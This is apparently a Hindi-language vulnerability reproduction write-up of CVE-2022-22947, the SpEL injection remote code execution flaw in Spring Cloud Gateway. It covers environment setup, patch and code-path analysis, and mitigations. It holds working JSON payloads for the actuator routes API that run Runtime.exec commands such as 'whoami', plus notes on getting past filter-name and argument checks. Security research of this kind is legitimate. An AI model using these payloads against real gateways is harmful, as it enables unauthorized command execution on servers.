
Spring-Cloud-Spel-RCE
Github पर पहले से लिखे गए पर्यावरण कोड को क्लोन करके।
//⚠️ध्यान दें कि पर्यावरण कोड डाउनलोड पथ में चीनी या स्पेस नहीं हो सकता
git clone https://github.com/Ha0Liu/CVE-2022-22947.git

IDEA का उपयोग करके हमारे द्वारा अभी डाउनलोड किए गए कोड पैकेज को खोलें, Open ---> अभी डाउनलोड की गई फ़ाइल का पथ ---> Open।
स्वयं मैन्युअल रूप से प्रोजेक्ट बनाकर और पर्यावरण सेटअप करके।
(1) नया प्रोजेक्ट बनाएं, कॉन्फ़िगर करने के बाद बस next पर क्लिक करते रहें;

(2) प्रोजेक्ट की निर्देशिका संरचना का विश्लेषण करें:
1. .idea फ़ोल्डर में IntelliJ IDEA की डिफ़ॉल्ट कॉन्फ़िगरेशन फ़ाइलें होती हैं, इसका कोई अन्य उपयोग नहीं है, आप अपनी आवश्यकता के अनुसार इसे हटा या रख सकते हैं;
2. src फ़ोल्डर मुख्य रूप से पूरे प्रोजेक्ट का कोड क्षेत्र है, जिसमें java और resource दो फ़ोल्डर शामिल हैं, java प्रोजेक्ट में java कोड लिखने का क्षेत्र है, resource पूरे प्रोजेक्ट का कॉन्फ़िगरेशन क्षेत्र है, स्प्रिंग प्रोजेक्ट डिफ़ॉल्ट रूप से java में SpringApplication विधि जोड़ता है, यह विधि स्प्रिंग की डिफ़ॉल्ट प्रारंभ विधि है, resource में डिफ़ॉल्ट रूप से application.properties जोड़ा जाता है, जो स्प्रिंग प्रोजेक्ट की कॉन्फ़िगरेशन फ़ाइल है;
3. test फ़ोल्डर परीक्षण फ़ोल्डर है, test में विधियों का परीक्षण किया जा सकता है;
4. pom.xml मावेन की कॉन्फ़िगरेशन फ़ाइल है, जिसमें प्रोजेक्ट के लिए आवश्यक निर्भरताएँ, कॉन्फ़िगरेशन आदि शामिल हैं;
5. .iml मावेन निर्भरता पैकेज का कॉन्फ़िगरेशन है, जो डिफ़ॉल्ट रूप से भी जोड़ा जाता है;
6. External Libraries फ़ोल्डर इस प्रोजेक्ट के सभी निर्भरता पैकेज हैं।

(3) pom.xml फ़ाइल में मावेन निर्भरताएँ जोड़ें (maven रिपॉजिटरी में सभी निर्भरता विवरण शामिल हैं)।
1. pom फ़ाइल में डिफ़ॉल्ट रूप से कुछ xml कोड उत्पन्न होंगे, विवरण इस प्रकार है:

2. प्रोजेक्ट के लिए आवश्यक निर्भरताएँ आयात करें, चूँकि यह प्रोजेक्ट SpringBoot प्रोजेक्ट है, इसलिए सर्वर स्टार्टर के रूप में spring-boot-starter निर्भरता आयात करना आवश्यक है, दूसरी बात, चूँकि यह भेद्यता SpringCloud में Gateway गेटवे की भेद्यता है, और जोखिम संस्करण 3.1.1 से नीचे के संस्करण हैं, इसलिए इस बार हम भेद्यता पुनरुत्पादन के लिए संस्करण 3.1.0 का उपयोग करेंगे, साथ ही हमें actuator इंटरफ़ेस के माध्यम से गेटवे की निगरानी और एक्सेस करने की आवश्यकता है, इसलिए हमें इस निर्भरता की भी आवश्यकता है, विशिष्ट सामग्री इस प्रकार है:

(4) स्प्रिंग की कॉन्फ़िगरेशन फ़ाइल संशोधित करें (पथ src --> main --> resources --> application.properties), विवरण इस प्रकार है:
1. server.port स्प्रिंग सर्वर का प्रारंभ पोर्ट है, डिफ़ॉल्ट रूप से 8080 पोर्ट है, हर कोई अपनी स्थिति के अनुसार सेट कर सकता है;
2. management.endpoint.gateway.enabled=true actuator पोर्ट द्वारा SpringCloud-Gateway गेटवे का पता लगाने के लिए सक्षम करना है, डिफ़ॉल्ट false है, क्योंकि इस भेद्यता को गेटवे की स्थिति की निगरानी आदि संचालन की आवश्यकता है, इसलिए हमें इसे मैन्युअल रूप से true में बदलना होगा, निगरानी सक्षम करें;
3. management.endpoints.web.exposure.include=gateway सर्वर के गेटवे के रूप में गेटवे गेटवे का चयन करना है, क्योंकि यह भेद्यता गेटवे गेटवे की ही है, इसलिए हम कॉन्फ़िगरेशन फ़ाइल में घोषित करते हैं कि गेटवे गेटवे का चयन किया गया है।

(5) नया प्रोजेक्ट बनाने के बाद स्वतः उत्पन्न जावा वर्ग को संशोधित करें (वर्ग का नाम आमतौर पर प्रोजेक्ट नाम + Application होता है, पथ src --> main --> java --> com.xxx.xxx --> xxxApplication), विवरण नीचे दिए गए चित्र में देखा जा सकता है:

(6) प्रोजेक्ट प्रारंभ करें, विवरण नीचे दिए गए चित्र में देखा जा सकता है:

(7) http://localhost:9000 पर जाएँ, यदि पृष्ठ स्क्रीनशॉट के समान प्रदर्शित होता है, तो पर्यावरण सेटअप सफल है।

(1) सबसे पहले आधिकारिक पैच को देखते हैं, differ इस प्रकार है: https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e , आधिकारिक तौर पर org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue फ़ंक्शन में StandardEvaluationContext को GatewayEvaluationContext से बदलकर SPEL एक्सप्रेशन को निष्पादित किया गया।

उपरोक्त चित्र से देखा जा सकता है कि यह पैच मुख्य रूप से SPEL एक्सप्रेशन के पार्सिंग विधि को संशोधित करके किया गया है, 66वीं पंक्ति से देखा जा सकता है कि यह if स्टेटमेंट यह जाँचता है कि SPEL एक्सप्रेशन को "#{" से शुरू होना चाहिए और "}" से समाप्त होना चाहिए, यह getValue विधि SPEL एक्सप्रेशन पार्सिंग का कार्य करती है, यह देखा जा सकता है कि यह भेद्यता SPEL एक्सप्रेशन द्वारा ट्रिगर RCE भेद्यता है।
(2) control+माउस बायाँ क्लिक करके getValue फ़ील्ड पर क्लिक करें, फिर ऊपर की ओर वापस जाकर org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType एनम ढूँढ सकते हैं।


उपरोक्त पाठ में default विधि से देखा जा सकता है कि एनम में DEFAULT विधि को कॉल किया जाता है, विधि विवरण इस प्रकार है:
default ShortcutType shortcutType() {
return ShortcutType.DEFAULT;
}

(3) ऊपर की ओर वापस जाकर org.springframework.cloud.gateway.support.ConfigurationService.class#normalizeProperties() ढूँढें।

यह normalizeProperties() फ़िल्टर के गुणों को पार्स करने के लिए है, यह फ़िल्टर के कॉन्फ़िगरेशन गुणों को normalize में पास करेगा, और अंत में getValue में जाकर SPEL एक्सप्रेशन निष्पादित करेगा, जिससे SPEL इंजेक्शन होगा।
(1) दस्तावेज़ [https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html](https://cloud.spring.io/spring-cloud-gateway/multi/multi actuator_api.html) के अनुसार, उपयोगकर्ता actuator के माध्यम से गेटवे में रूट बना और हटा सकते हैं, नीचे दिए गए चित्र में गेटवे की मूल संरचना दिखाई गई है।

(2) IDEA में actuator की mapping सुविधा के माध्यम से गेटवे के निर्माण, विलोपन आदि कार्यों के इंटरफ़ेस पाए जा सकते हैं।

(3) RouteDefinition वर्ग में ट्रैक करें, पाया गया कि यह वर्ग गेटवे की संरचना सामग्री घोषित करता है।

(4) इसमें FilterDefinition वर्ग में ट्रैक करें, पाया गया कि Filter में दो पैरामीटर हैं जिनका नाम "name" और "args" है।

(5) इस name पैरामीटर में ट्रैक करें, पाया गया कि AbstractGatewayControllerEndpoint#save() विधि में name पर फ़िल्टर किया जाता है, save विधि गेटवे बनाने का इंटरफ़ेस है, यह विधि दो पैरामीटर लेती है एक गेटवे का id (अनुकूलित किया जा सकता है), और दूसरा RouteDefinition, उपरोक्त पाठ में बताया गया है कि यह ऑब्जेक्ट बनाए गए गेटवे की संरचना सामग्री को घोषित करता है, जो इस भेद्यता को ट्रिगर करता है।

(6) ब्रेकपॉइंट लगाकर isAvailable() विधि का डायनामिक डिबग करें, देखें कि कौन से name इस फ़िल्टर से पास हो सकते हैं।


उपरोक्त चित्र में दिए गए name का उपयोग करके name सत्यापन को बायपास किया जा सकता है।
(7) उपरोक्त विश्लेषण के माध्यम से हम निर्दिष्ट "name" पैरामीटर और SPEL एक्सप्रेशन जो "#{" से शुरू होता है और "}" से समाप्त होता है, का उपयोग करके RCE हमला कर सकते हैं, Payload इस प्रकार है:
/**
*Payload में SPEL एक्सप्रेशन की व्याख्या
*चूँकि हमें यहाँ एक्सप्रेशन के माध्यम से कमांड निष्पादित करने की आवश्यकता है, इसलिए हमें T(java.lang.Runtime).getRuntime().exec() के रूप में कमांड निष्पादित करने की विधि को कॉल करना होगा।
*चूँकि कमांड निष्पादित करते समय एक्सप्रेशन को String प्रकार की स्ट्रिंग के रूप में पास करना होता है, इसलिए एक्सप्रेशन को String ऑब्जेक्ट में टाइप कास्ट करना होगा।
*चूँकि एक्सप्रेशन पास करते समय इसे बाइट स्ट्रीम के रूप में पास करना होता है, इसलिए T(org.springframework.util.StreamUtils).copyToByteArray() विधि को कॉल करना होगा।
/
{
"id": "मनमाने ढंग से बदला जा सकता है (पहले बनाए गए id के समान नहीं होना चाहिए)",
"filters": [{
"name": "👊 उपरोक्त स्क्रीनशॉट में कोई भी name",
"args": {
"name": "मनमाने ढंग से बदला जा सकता है",
//यह value कैलकुलेटर खोलने का कमांड है (MacOS)
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
(8) predicates बिना रिस्पॉन्स के शोषण श्रृंखला ([आधिकारिक साइट](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#creating-and- deleting-a-particular-route)): predicates का SPEL निष्पादन प्रवाह filter के निष्पादन प्रवाह के समान है, नीचे दिए गए चित्र में predicates के name सत्यापन मिलान सामग्री दिखाई गई है, इन name के माध्यम से कमांड निष्पादित किया जा सकता है, डायनामिक डिबगिंग के माध्यम से predicates के name सत्यापन तंत्र प्राप्त करें, आधिकारिक साइट में example के अनुसार Payload बनाया जा सकता है।

/**
*Payload में SPEL एक्सप्रेशन की व्याख्या
*चूँकि हमें यहाँ एक्सप्रेशन के माध्यम से कमांड निष्पादित करने की आवश्यकता है, इसलिए हमें T(java.lang.Runtime).getRuntime().exec() के रूप में कमांड निष्पादित करने की विधि को कॉल करना होगा।
*चूँकि कमांड निष्पादित करते समय एक्सप्रेशन को String प्रकार की स्ट्रिंग के रूप में पास करना होता है, इसलिए एक्सप्रेशन को String ऑब्जेक्ट में टाइप कास्ट करना होगा।
*चूँकि एक्सप्रेशन पास करते समय इसे बाइट स्ट्रीम के रूप में पास करना होता है, इसलिए T(org.springframework.util.StreamUtils).copyToByteArray() विधि को कॉल करना होगा।
/
{
"id": "मनमाने ढंग से बदला जा सकता है (पहले बनाए गए id के समान नहीं होना चाहिए)",
"predicates": [{
"name": "👊 उपरोक्त स्क्रीनशॉट में कोई भी name",
"args": {"_genkey_0":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"}
}],
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
}
बिना रिस्पॉन्स वाली श्रृंखला की फ़िल्टर और predicates श्रृंखला वास्तव में मौजूद है, और जब तक फ़िल्टर और predicates का नाम कानूनी है और सीमाओं को बायपास करता है, तब तक RCE ट्रिगर किया जा सकता है।
(1) रिस्पॉन्स का सिद्धांत: उपयोगकर्ता द्वारा संग्रहीत रूट परिभाषा जानकारी मेमोरी में मौजूद होती है, रूट रिफ्रेश करने पर SPEL एक्सप्रेशन निष्पादित होने के बाद, निष्पादन परिणाम रूट जानकारी में लिखा जाता है। रूट जानकारी देखने के लिए API इंटरफ़ेस के माध्यम से, RCE निष्पादन परिणाम रूट जानकारी प्रदर्शन में देखा जा सकता है।
(2) आधिकारिक साइट की व्याख्या से देखा जा सकता है कि फ़िल्टर के लिए रिस्पॉन्स के साथ शोषण श्रृंखला में name="AddResponseHeader" रिस्पॉन्स के साथ शोषण श्रृंखला को ट्रिगर कर सकता है।
/**
*Payload में SPEL एक्सप्रेशन की व्याख्या
*चूँकि हमें यहाँ एक्सप्रेशन के माध्यम से कमांड निष्पादित करने की आवश्यकता है, इसलिए हमें T(java.lang.Runtime).getRuntime().exec() के रूप में कमांड निष्पादित करने की विधि को कॉल करना होगा।
*चूँकि कमांड निष्पादित करते समय एक्सप्रेशन को String प्रकार की स्ट्रिंग के रूप में पास करना होता है, इसलिए एक्सप्रेशन को String ऑब्जेक्ट में टाइप कास्ट करना होगा।
*चूँकि एक्सप्रेशन पास करते समय इसे बाइट स्ट्रीम के रूप में पास करना होता है, इसलिए T(org.springframework.util.StreamUtils).copyToByteArray() विधि को कॉल करना होगा।
/
{
"id": ""मनमाने ढंग से बदला जा सकता है (पहले बनाए गए id के समान नहीं होना चाहिए)",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
(3) आगे हमें सोचना होगा कि क्या name="AddResponseHeader" के अलावा, बिना रिस्पॉन्स श्रृंखला की तरह सभी name पर रिस्पॉन्स के साथ RCE हमला किया जा सकता है।
(4) हम name="RedirectTo" का उपयोग करके पुनरुत्पादन प्रयास करते हैं, देखते हैं कि क्या रिस्पॉन्स हमला किया जा सकता है।


पाया गया कि रिस्पॉन्स नहीं हो सकता, बैकएंड के लॉग देखें, पाया गया कि बैकएंड null pointer exception लौटाता है।

आधिकारिक साइट पर जाएँ और देखें कि यह हमारे द्वारा इनपुट किए गए args पैरामीटर के फ़िल्टर से मेल नहीं खाने के कारण है, इस फ़िल्टर को दो पैरामीटर चाहिए एक "status" और दूसरा "url", हम पैरामीटर बदलकर फिर से निष्पादित करते हैं।


अभी भी 404 लौटाता है, लेकिन बैकएंड में अब null pointer exception नहीं है, अपवाद जानकारी से पता चलता है कि spring-cloud-gateway url प्रारूप को पार्स कर रहा है। यानी संबंधित पैरामीटर पर प्रकार प्रतिबंध हैं, जैसे status, HTTP स्थिति कोड (enum प्रकार) होना चाहिए।

हमें एक और बिंदु खोजना होगा, एक पैरामीटर खोजें जो String प्रकार का हो।
(5) हम आधिकारिक साइट पर जाकर String प्रकार के पैरामीटर वाले फ़िल्टर खोजते हैं ([आधिकारिक साइट लिंक](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#the- removerequestheader-gatewayfilter-factory[)), जैसे RemoveRequestHeader फ़िल्टर केवल एक String प्रकार का name स्ट्रिंग लेता है, इस तरह हम name के मान के रूप में SPEL एक्सप्रेशन बना सकते हैं।

अब हम Payload बनाकर प्रयास कर सकते हैं, पाया गया कि रिस्पॉन्स हो सकता है।


यह देखा जा सकता है कि Filters की रिस्पॉन्स शोषण श्रृंखला में, न केवल name पर फ़िल्टर है, बल्कि इसके args पैरामीटर पर भी कुछ आवश्यकताएँ हैं, लेकिन विभिन्न फ़िल्टर बनाकर इसकी सीमाओं को बायपास किया जा सकता है।
(6) predicates की रिस्पॉन्स शोषण श्रृंखला में खोज की दिशा Filters की खोज के समान है, आधिकारिक साइट में पैरामीटर प्रकार और पैरामीटर सामग्री के माध्यम से फ़िल्टर करें जो SPEL एक्सप्रेशन निष्पादित करने के लिए उपयुक्त हों, तो रिस्पॉन्स के साथ RCE निष्पादित किया जा सकता है।
(7) predicates में name="Cookie" के माध्यम से कमांड निष्पादित किया जा सकता है, आधिकारिक साइट के पैरामीटर संदर्भ के अनुसार बनाएँ।

Payload बनाकर प्रयास करें, पाया गया कि रिस्पॉन्स सफल हो सकता है।


predicates की रिस्पॉन्स श्रृंखला वास्तव में मौजूद है, न केवल args पैरामीटर नाम पर प्रतिबंध है, बल्कि पैरामीटर के अनुरूप प्रकार पर भी प्रतिबंध है। साथ ही पैरामीटर की पूर्णता पर भी प्रतिबंध है।
रिस्पॉन्स के साथ शोषण श्रृंखला में, Spring न केवल फ़िल्टर के name को फ़िल्टर करता है, बल्कि args के पैरामीटर प्रकार और पैरामीटर संख्या पर भी संबंधित प्रतिबंध लगाता है, आधिकारिक साइट में फ़िल्टर विवरण देखकर यह निर्धारित किया जा सकता है कि कोई शोषण श्रृंखला मौजूद है या नहीं।
(1) सबसे पहले एक गेटवे बनाना होगा, POST अनुरोध भेजें, और दुर्भावनापूर्ण Payload बनाएँ।

(2) गेटवे रिफ्रेश करें।

(3) गेटवे जानकारी प्राप्त करें, GET अनुरोध भेजें, अभी बनाए गए test गेटवे का अनुरोध करें, कैलकुलेटर खुल जाएगा।

(4) गेटवे हटाएँ।

(1) सबसे पहले एक गेटवे बनाना होगा, POST अनुरोध भेजें, और दुर्भावनापूर्ण Payload बनाएँ।

(2) गेटवे रिफ्रेश करें।

(3) गेटवे जानकारी प्राप्त करें, GET अनुरोध भेजें, अभी बनाए गए hacktest गेटवे का अनुरोध करें, "whoami" रिस्पॉन्स सफल हुआ।

(4) गेटवे हटाएँ।

(1) यदि Actuator एंडपॉइंट की आवश्यकता नहीं है, तो निम्नलिखित कॉन्फ़िगरेशन के माध्यम से इसे अक्षम किया जा सकता है।
management.endpoint.gateway.enabled=false
(2) यदि Actuator एंडपॉइंट की आवश्यकता है, तो इसे Spring Security के माध्यम से सुरक्षित किया जाना चाहिए।
आधिकारिक ने सुरक्षित संस्करण जारी किया है:
3.1.X श्रृंखला के उपयोगकर्ता समय पर 3.1.1+ में अपग्रेड करें
3.0.X श्रृंखला के उपयोगकर्ता समय पर 3.0.7+ में अपग्रेड करें